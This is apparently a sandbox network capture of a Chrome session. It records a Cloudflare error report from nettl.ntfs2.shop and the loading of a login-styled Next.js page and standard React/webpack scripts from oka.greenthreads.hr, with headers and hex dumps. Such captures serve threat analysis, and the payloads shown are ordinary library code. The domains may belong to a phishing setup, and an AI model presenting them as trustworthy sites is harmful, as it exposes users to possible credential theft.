Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49701	35.190.80.1	443	2180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 16:02:30 UTC	518	OUT	POST /report/v4?s=SunFNVLve0UQg5iU547W1VbZVPE9gkL7lhOJUP0uQj1lwMfIG23%2BJ4MBuNk6bIGgJJI7gWFyWSW3iS6iT9ICBXflhYhZGT48vkjFAE5TjH8%2FRL5lH5QmiV1z%2F%2BiXfqBKk0Jf HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 416 Content-Type: application/reports+json Origin: https://nettl.ntfs2.shop User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 16:02:30 UTC	416	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 35 38 36 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 32 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 6e 65 74 74 6c 2e 6e 74 66 73 32 2e 73 68 6f 70 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 31 39 2e 32 30 37 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 Data Ascii: [{"age":0,"body":{"elapsed_time":586,"method":"GET","phase":"application","protocol":"h2","referrer":"https://nettl.ntfs2.shop/","sampling_fraction":1.0,"server_ip":"104.21.19.207","status_code":404,"type":"http.error"},"type":"network-error","url":"https
2025-03-13 16:02:31 UTC	214	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-allow-origin: * vary: Origin date: Thu, 13 Mar 2025 16:02:30 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	49714	76.76.21.21	443	2180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 16:02:45 UTC	675	OUT	GET / HTTP/1.1 Host: oka.greenthreads.hr Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 16:02:45 UTC	526	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 175415 Cache-Control: public, max-age=0, must-revalidate Content-Disposition: inline Content-Length: 2575 Content-Type: text/html; charset=utf-8 Date: Thu, 13 Mar 2025 16:02:45 GMT Etag: "1b3919fb792a62110c03224ad57f8516" Last-Modified: Tue, 11 Mar 2025 15:19:09 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: / X-Vercel-Cache: HIT X-Vercel-Id: iad1::xb4p6-1741881765230-a837f2f313e8 Connection: close
2025-03-13 16:02:45 UTC	2372	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 53 65 74 3d 22 75 74 66 2d 38 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 61 73 3d 22 73 74 79 6c 65 22 20 68 72 65 66 3d 22 2f 5f 6e 65 78 74 2f 73 74 61 74 69 63 2f 63 73 73 2f 31 39 64 30 39 61 36 31 31 33 61 66 61 30 30 37 2e 63 73 73 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 61 73 3d 22 73 63 72 69 70 74 22 20 68 72 65 66 3d 22 2f 5f 6e 65 78 74 2f 73 74 61 74 69 63 2f 63 68 75 6e 6b 73 2f 77 65 62 70 61 63 6b 2d 65 65 37 65 36 33 62 63 31 35 62 33 31 39 31 33 2e 6a 73 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 61 73 3d 22 73 63 72 69 70 74 22 20 68 72 65 66 3d 22 Data Ascii: <!DOCTYPE html><html><head><meta charSet="utf-8"/><link rel="preload" as="style" href="/_next/static/css/19d09a6113afa007.css"/><link rel="preload" as="script" href="/_next/static/chunks/webpack-ee7e63bc15b31913.js"/><link rel="preload" as="script" href="
2025-03-13 16:02:45 UTC	203	IN	Data Raw: 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 3e 7b 22 70 72 6f 70 73 22 3a 7b 22 70 61 67 65 50 72 6f 70 73 22 3a 7b 7d 7d 2c 22 70 61 67 65 22 3a 22 2f 22 2c 22 71 75 65 72 79 22 3a 7b 7d 2c 22 62 75 69 6c 64 49 64 22 3a 22 43 43 56 6f 39 42 65 41 4e 70 4f 36 57 54 41 58 4a 41 58 69 71 22 2c 22 6e 65 78 74 45 78 70 6f 72 74 22 3a 74 72 75 65 2c 22 61 75 74 6f 45 78 70 6f 72 74 22 3a 74 72 75 65 2c 22 69 73 46 61 6c 6c 62 61 63 6b 22 3a 66 61 6c 73 65 2c 22 73 63 72 69 70 74 4c 6f 61 64 65 72 22 3a 5b 5d 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: type="application/json">{"props":{"pageProps":{}},"page":"/","query":{},"buildId":"CCVo9BeANpO6WTAXJAXiq","nextExport":true,"autoExport":true,"isFallback":false,"scriptLoader":[]}</script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	49715	76.76.21.21	443	2180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 16:02:47 UTC	581	OUT	GET /_next/static/css/19d09a6113afa007.css HTTP/1.1 Host: oka.greenthreads.hr Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://oka.greenthreads.hr/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 16:02:48 UTC	594	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 174889 Cache-Control: public,max-age=31536000,immutable Content-Disposition: inline; filename="19d09a6113afa007.css" Content-Length: 1515 Content-Type: text/css; charset=utf-8 Date: Thu, 13 Mar 2025 16:02:47 GMT Etag: "358df2f88c6cb7b259f7dfa5095500d5" Last-Modified: Tue, 11 Mar 2025 15:27:58 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /_next/static/css/19d09a6113afa007.css X-Vercel-Cache: HIT X-Vercel-Id: iad1::486hl-1741881767891-10a5d9c8c403 Connection: close
2025-03-13 16:02:48 UTC	1515	IN	Data Raw: 2e 49 6e 64 65 78 5f 6c 6f 67 69 6e 43 6f 6e 74 61 69 6e 65 72 5f 5f 35 6a 50 35 30 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 68 65 69 67 68 74 3a 31 30 30 76 68 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 62 61 63 6b 67 72 6f 75 6e 64 2e 6a 70 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 35 30 25 20 66 69 78 65 64 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 63 6f 76 65 72 3b 63 6f 6c 6f 72 3a 23 33 33 33 7d 2e 49 6e 64 65 78 5f 6c 6f 67 69 6e 42 6f 78 5f 5f 54 6a 67 44 43 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 68 73 6c 61 28 30 2c 30 25 2c 31 30 30 25 2c 2e 39 29 3b 62 6f Data Ascii: .Index_loginContainer__5jP50{text-align:center;height:100vh;display:flex;justify-content:center;align-items:center;background:url(/background.jpg) no-repeat 50% fixed;background-size:cover;color:#333}.Index_loginBox__TjgDC{background:hsla(0,0%,100%,.9);bo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	49720	76.76.21.21	443	2180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 16:02:47 UTC	577	OUT	GET /_next/static/chunks/webpack-ee7e63bc15b31913.js HTTP/1.1 Host: oka.greenthreads.hr Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://oka.greenthreads.hr/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 16:02:48 UTC	624	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 86118 Cache-Control: public,max-age=31536000,immutable Content-Disposition: inline; filename="webpack-ee7e63bc15b31913.js" Content-Length: 1999 Content-Type: application/javascript; charset=utf-8 Date: Thu, 13 Mar 2025 16:02:47 GMT Etag: "d46325742471efd77bf4525d99d56e1a" Last-Modified: Wed, 12 Mar 2025 16:07:29 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /_next/static/chunks/webpack-ee7e63bc15b31913.js X-Vercel-Cache: HIT X-Vercel-Id: iad1::fghtw-1741881767880-564c81373f42 Connection: close
2025-03-13 16:02:48 UTC	1999	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 65 2c 6e 2c 72 2c 74 2c 6f 3d 7b 7d 2c 75 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 69 28 65 29 7b 76 61 72 20 6e 3d 75 5b 65 5d 3b 69 66 28 76 6f 69 64 20 30 21 3d 3d 6e 29 72 65 74 75 72 6e 20 6e 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 75 5b 65 5d 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 7d 2c 74 3d 21 30 3b 74 72 79 7b 6f 5b 65 5d 28 72 2c 72 2e 65 78 70 6f 72 74 73 2c 69 29 2c 74 3d 21 31 7d 66 69 6e 61 6c 6c 79 7b 74 26 26 64 65 6c 65 74 65 20 75 5b 65 5d 7d 72 65 74 75 72 6e 20 72 2e 65 78 70 6f 72 74 73 7d 69 2e 6d 3d 6f 2c 65 3d 5b 5d 2c 69 2e 4f 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 72 2c 74 2c 6f 29 7b 69 66 28 72 29 7b 6f 3d 6f 7c 7c 30 3b 66 6f 72 28 76 61 72 20 Data Ascii: !function(){"use strict";var e,n,r,t,o={},u={};function i(e){var n=u[e];if(void 0!==n)return n.exports;var r=u[e]={exports:{}},t=!0;try{o[e](r,r.exports,i),t=!1}finally{t&&delete u[e]}return r.exports}i.m=o,e=[],i.O=function(n,r,t,o){if(r){o=o\|\|0;for(var

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.9	49716	76.76.21.21	443	2180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 16:02:47 UTC	579	OUT	GET /_next/static/chunks/framework-2c79e2a64abdb08b.js HTTP/1.1 Host: oka.greenthreads.hr Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://oka.greenthreads.hr/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 16:02:48 UTC	631	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 174889 Cache-Control: public,max-age=31536000,immutable Content-Disposition: inline; filename="framework-2c79e2a64abdb08b.js" Content-Length: 141052 Content-Type: application/javascript; charset=utf-8 Date: Thu, 13 Mar 2025 16:02:47 GMT Etag: "7fc4bed6b4319c62343f0bf5db91a5bb" Last-Modified: Tue, 11 Mar 2025 15:27:58 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /_next/static/chunks/framework-2c79e2a64abdb08b.js X-Vercel-Cache: HIT X-Vercel-Id: iad1::zzxbw-1741881767889-0768d94b05ca Connection: close
2025-03-13 16:02:48 UTC	2372	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 4e 5f 45 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 4e 5f 45 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 37 37 34 5d 2c 7b 34 34 34 38 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 2f 2a 2a 0a 20 2a 20 40 6c 69 63 65 6e 73 65 20 52 65 61 63 74 0a 20 2a 20 72 65 61 63 74 2d 64 6f 6d 2e 70 72 6f 64 75 63 74 69 6f 6e 2e 6d 69 6e 2e 6a 73 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 46 61 63 65 62 6f 6f 6b 2c 20 49 6e 63 2e 20 61 6e 64 20 69 74 73 20 61 66 66 69 6c 69 61 74 65 73 2e 0a 20 2a 0a 20 2a 20 54 68 69 73 20 73 6f 75 72 63 65 20 63 6f 64 65 20 69 73 20 6c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c Data Ascii: "use strict";(self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[774],{4448:function(e,n,t){/** * @license React * react-dom.production.min.js * * Copyright (c) Facebook, Inc. and its affiliates. * * This source code is licensed under the MIT l
2025-03-13 16:02:48 UTC	924	IN	Data Raw: 69 74 65 6d 53 63 6f 70 65 22 2e 73 70 6c 69 74 28 22 20 22 29 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 53 5b 65 5d 3d 6e 65 77 20 77 28 65 2c 33 2c 21 31 2c 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 6e 75 6c 6c 2c 21 31 2c 21 31 29 7d 29 2c 5b 22 63 68 65 63 6b 65 64 22 2c 22 6d 75 6c 74 69 70 6c 65 22 2c 22 6d 75 74 65 64 22 2c 22 73 65 6c 65 63 74 65 64 22 5d 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 53 5b 65 5d 3d 6e 65 77 20 77 28 65 2c 33 2c 21 30 2c 65 2c 6e 75 6c 6c 2c 21 31 2c 21 31 29 7d 29 2c 5b 22 63 61 70 74 75 72 65 22 2c 22 64 6f 77 6e 6c 6f 61 64 22 5d 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 53 5b 65 5d 3d 6e 65 77 20 77 28 65 2c 34 2c 21 31 2c 65 2c 6e 75 6c 6c 2c 21 Data Ascii: itemScope".split(" ").forEach(function(e){S[e]=new w(e,3,!1,e.toLowerCase(),null,!1,!1)}),["checked","multiple","muted","selected"].forEach(function(e){S[e]=new w(e,3,!0,e,null,!1,!1)}),["capture","download"].forEach(function(e){S[e]=new w(e,4,!1,e,null,!
2025-03-13 16:02:48 UTC	4744	IN	Data Raw: 2c 6e 2c 74 2c 72 29 29 72 65 74 75 72 6e 21 30 3b 69 66 28 72 29 72 65 74 75 72 6e 21 31 3b 69 66 28 6e 75 6c 6c 21 3d 3d 74 29 73 77 69 74 63 68 28 74 2e 74 79 70 65 29 7b 63 61 73 65 20 33 3a 72 65 74 75 72 6e 21 6e 3b 63 61 73 65 20 34 3a 72 65 74 75 72 6e 21 31 3d 3d 3d 6e 3b 63 61 73 65 20 35 3a 72 65 74 75 72 6e 20 69 73 4e 61 4e 28 6e 29 3b 63 61 73 65 20 36 3a 72 65 74 75 72 6e 20 69 73 4e 61 4e 28 6e 29 7c 7c 31 3e 6e 7d 72 65 74 75 72 6e 21 31 7d 28 6e 2c 74 2c 61 2c 72 29 26 26 28 74 3d 6e 75 6c 6c 29 2c 72 7c 7c 6e 75 6c 6c 3d 3d 3d 61 3f 28 6c 3d 6e 2c 28 21 21 76 2e 63 61 6c 6c 28 6b 2c 6c 29 7c 7c 21 76 2e 63 61 6c 6c 28 62 2c 6c 29 26 26 28 79 2e 74 65 73 74 28 6c 29 3f 6b 5b 6c 5d 3d 21 30 3a 28 62 5b 6c 5d 3d 21 30 2c 21 31 29 29 29 26 Data Ascii: ,n,t,r))return!0;if(r)return!1;if(null!==t)switch(t.type){case 3:return!n;case 4:return!1===n;case 5:return isNaN(n);case 6:return isNaN(n)\|\|1>n}return!1}(n,t,a,r)&&(t=null),r\|\|null===a?(l=n,(!!v.call(k,l)\|\|!v.call(b,l)&&(y.test(l)?k[l]=!0:(b[l]=!0,!1)))&
2025-03-13 16:02:48 UTC	5930	IN	Data Raw: 28 65 29 7b 72 3d 22 22 2b 65 2c 61 2e 63 61 6c 6c 28 74 68 69 73 2c 65 29 7d 7d 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 6e 2c 7b 65 6e 75 6d 65 72 61 62 6c 65 3a 74 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 2c 7b 67 65 74 56 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 7d 2c 73 65 74 56 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 3d 22 22 2b 65 7d 2c 73 74 6f 70 54 72 61 63 6b 69 6e 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 65 2e 5f 76 61 6c 75 65 54 72 61 63 6b 65 72 3d 6e 75 6c 6c 2c 64 65 6c 65 74 65 20 65 5b 6e 5d 7d 7d 7d 7d 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 58 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 6e 3d 65 2e 5f 76 61 6c 75 65 54 72 61 63 6b Data Ascii: (e){r=""+e,a.call(this,e)}}),Object.defineProperty(e,n,{enumerable:t.enumerable}),{getValue:function(){return r},setValue:function(e){r=""+e},stopTracking:function(){e._valueTracker=null,delete e[n]}}}}(e))}function X(e){if(!e)return!1;var n=e._valueTrack
2025-03-13 16:02:48 UTC	7116	IN	Data Raw: 74 4e 6f 64 65 3a 65 7d 76 61 72 20 65 5f 3d 6e 75 6c 6c 2c 65 43 3d 6e 75 6c 6c 2c 65 50 3d 6e 75 6c 6c 3b 66 75 6e 63 74 69 6f 6e 20 65 4e 28 65 29 7b 69 66 28 65 3d 72 44 28 65 29 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 65 5f 29 74 68 72 6f 77 20 45 72 72 6f 72 28 66 28 32 38 30 29 29 3b 76 61 72 20 6e 3d 65 2e 73 74 61 74 65 4e 6f 64 65 3b 6e 26 26 28 6e 3d 72 55 28 6e 29 2c 65 5f 28 65 2e 73 74 61 74 65 4e 6f 64 65 2c 65 2e 74 79 70 65 2c 6e 29 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 65 7a 28 65 29 7b 65 43 3f 65 50 3f 65 50 2e 70 75 73 68 28 65 29 3a 65 50 3d 5b 65 5d 3a 65 43 3d 65 7d 66 75 6e 63 74 69 6f 6e 20 65 54 28 29 7b 69 66 28 65 43 29 7b 76 61 72 20 65 3d 65 43 2c 6e 3d 65 50 3b 69 66 28 65 50 3d 65 43 3d 6e 75 Data Ascii: tNode:e}var e_=null,eC=null,eP=null;function eN(e){if(e=rD(e)){if("function"!=typeof e_)throw Error(f(280));var n=e.stateNode;n&&(n=rU(n),e_(e.stateNode,e.type,n))}}function ez(e){eC?eP?eP.push(e):eP=[e]:eC=e}function eT(){if(eC){var e=eC,n=eP;if(eP=eC=nu
2025-03-13 16:02:48 UTC	8302	IN	Data Raw: 2c 74 2c 72 29 7d 66 69 6e 61 6c 6c 79 7b 6e 63 3d 6c 2c 6e 46 2e 74 72 61 6e 73 69 74 69 6f 6e 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6e 55 28 65 2c 6e 2c 74 2c 72 29 7b 69 66 28 6e 4f 29 7b 76 61 72 20 6c 3d 6e 24 28 65 2c 6e 2c 74 2c 72 29 3b 69 66 28 6e 75 6c 6c 3d 3d 3d 6c 29 72 6f 28 65 2c 6e 2c 72 2c 6e 56 2c 74 29 2c 6e 43 28 65 2c 72 29 3b 65 6c 73 65 20 69 66 28 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 2c 72 2c 6c 29 7b 73 77 69 74 63 68 28 6e 29 7b 63 61 73 65 22 66 6f 63 75 73 69 6e 22 3a 72 65 74 75 72 6e 20 6e 62 3d 6e 50 28 6e 62 2c 65 2c 6e 2c 74 2c 72 2c 6c 29 2c 21 30 3b 63 61 73 65 22 64 72 61 67 65 6e 74 65 72 22 3a 72 65 74 75 72 6e 20 6e 6b 3d 6e 50 28 6e 6b 2c 65 2c 6e 2c 74 2c 72 2c 6c 29 2c 21 30 3b 63 61 73 65 22 6d 6f 75 73 65 Data Ascii: ,t,r)}finally{nc=l,nF.transition=a}}function nU(e,n,t,r){if(nO){var l=n$(e,n,t,r);if(null===l)ro(e,n,r,nV,t),nC(e,r);else if(function(e,n,t,r,l){switch(n){case"focusin":return nb=nP(nb,e,n,t,r,l),!0;case"dragenter":return nk=nP(nk,e,n,t,r,l),!0;case"mouse
2025-03-13 16:02:48 UTC	6676	IN	Data Raw: 31 3b 66 6f 72 28 72 3d 30 3b 72 3c 74 2e 6c 65 6e 67 74 68 3b 72 2b 2b 29 7b 76 61 72 20 6c 3d 74 5b 72 5d 3b 69 66 28 21 76 2e 63 61 6c 6c 28 6e 2c 6c 29 7c 7c 21 74 44 28 65 5b 6c 5d 2c 6e 5b 6c 5d 29 29 72 65 74 75 72 6e 21 31 7d 72 65 74 75 72 6e 21 30 7d 66 75 6e 63 74 69 6f 6e 20 74 55 28 65 29 7b 66 6f 72 28 3b 65 26 26 65 2e 66 69 72 73 74 43 68 69 6c 64 3b 29 65 3d 65 2e 66 69 72 73 74 43 68 69 6c 64 3b 72 65 74 75 72 6e 20 65 7d 66 75 6e 63 74 69 6f 6e 20 74 56 28 65 2c 6e 29 7b 76 61 72 20 74 2c 72 3d 74 55 28 65 29 3b 66 6f 72 28 65 3d 30 3b 72 3b 29 7b 69 66 28 33 3d 3d 3d 72 2e 6e 6f 64 65 54 79 70 65 29 7b 69 66 28 74 3d 65 2b 72 2e 74 65 78 74 43 6f 6e 74 65 6e 74 2e 6c 65 6e 67 74 68 2c 65 3c 3d 6e 26 26 74 3e 3d 6e 29 72 65 74 75 72 6e Data Ascii: 1;for(r=0;r<t.length;r++){var l=t[r];if(!v.call(n,l)\|\|!tD(e[l],n[l]))return!1}return!0}function tU(e){for(;e&&e.firstChild;)e=e.firstChild;return e}function tV(e,n){var t,r=tU(e);for(e=0;r;){if(3===r.nodeType){if(t=e+r.textContent.length,e<=n&&t>=n)return
2025-03-13 16:02:48 UTC	10674	IN	Data Raw: 3a 63 61 73 65 22 64 72 6f 70 22 3a 69 3d 6e 38 3b 62 72 65 61 6b 3b 63 61 73 65 22 74 6f 75 63 68 63 61 6e 63 65 6c 22 3a 63 61 73 65 22 74 6f 75 63 68 65 6e 64 22 3a 63 61 73 65 22 74 6f 75 63 68 6d 6f 76 65 22 3a 63 61 73 65 22 74 6f 75 63 68 73 74 61 72 74 22 3a 69 3d 74 6f 3b 62 72 65 61 6b 3b 63 61 73 65 20 74 4a 3a 63 61 73 65 20 74 30 3a 63 61 73 65 20 74 31 3a 69 3d 6e 36 3b 62 72 65 61 6b 3b 63 61 73 65 20 74 32 3a 69 3d 74 69 3b 62 72 65 61 6b 3b 63 61 73 65 22 73 63 72 6f 6c 6c 22 3a 69 3d 6e 32 3b 62 72 65 61 6b 3b 63 61 73 65 22 77 68 65 65 6c 22 3a 69 3d 74 73 3b 62 72 65 61 6b 3b 63 61 73 65 22 63 6f 70 79 22 3a 63 61 73 65 22 63 75 74 22 3a 63 61 73 65 22 70 61 73 74 65 22 3a 69 3d 6e 39 3b 62 72 65 61 6b 3b 63 61 73 65 22 67 6f 74 70 6f Data Ascii: :case"drop":i=n8;break;case"touchcancel":case"touchend":case"touchmove":case"touchstart":i=to;break;case tJ:case t0:case t1:i=n6;break;case t2:i=ti;break;case"scroll":i=n2;break;case"wheel":i=ts;break;case"copy":case"cut":case"paste":i=n9;break;case"gotpo
2025-03-13 16:02:48 UTC	9680	IN	Data Raw: 65 7b 69 66 28 6c 6d 28 65 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 66 28 34 31 38 29 29 3b 65 2e 66 6c 61 67 73 3d 2d 34 30 39 37 26 65 2e 66 6c 61 67 73 7c 32 2c 6c 63 3d 21 31 2c 6c 69 3d 65 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 6c 67 28 65 29 7b 66 6f 72 28 65 3d 65 2e 72 65 74 75 72 6e 3b 6e 75 6c 6c 21 3d 3d 65 26 26 35 21 3d 3d 65 2e 74 61 67 26 26 33 21 3d 3d 65 2e 74 61 67 26 26 31 33 21 3d 3d 65 2e 74 61 67 3b 29 65 3d 65 2e 72 65 74 75 72 6e 3b 6c 69 3d 65 7d 66 75 6e 63 74 69 6f 6e 20 6c 76 28 65 29 7b 69 66 28 65 21 3d 3d 6c 69 29 72 65 74 75 72 6e 21 31 3b 69 66 28 21 6c 63 29 72 65 74 75 72 6e 20 6c 67 28 65 29 2c 6c 63 3d 21 30 2c 21 31 3b 69 66 28 28 6e 3d 33 21 3d 3d 65 2e 74 61 67 29 26 26 21 28 6e 3d 35 21 3d 3d 65 2e 74 61 67 29 26 26 Data Ascii: e{if(lm(e))throw Error(f(418));e.flags=-4097&e.flags\|2,lc=!1,li=e}}}function lg(e){for(e=e.return;null!==e&&5!==e.tag&&3!==e.tag&&13!==e.tag;)e=e.return;li=e}function lv(e){if(e!==li)return!1;if(!lc)return lg(e),lc=!0,!1;if((n=3!==e.tag)&&!(n=5!==e.tag)&&
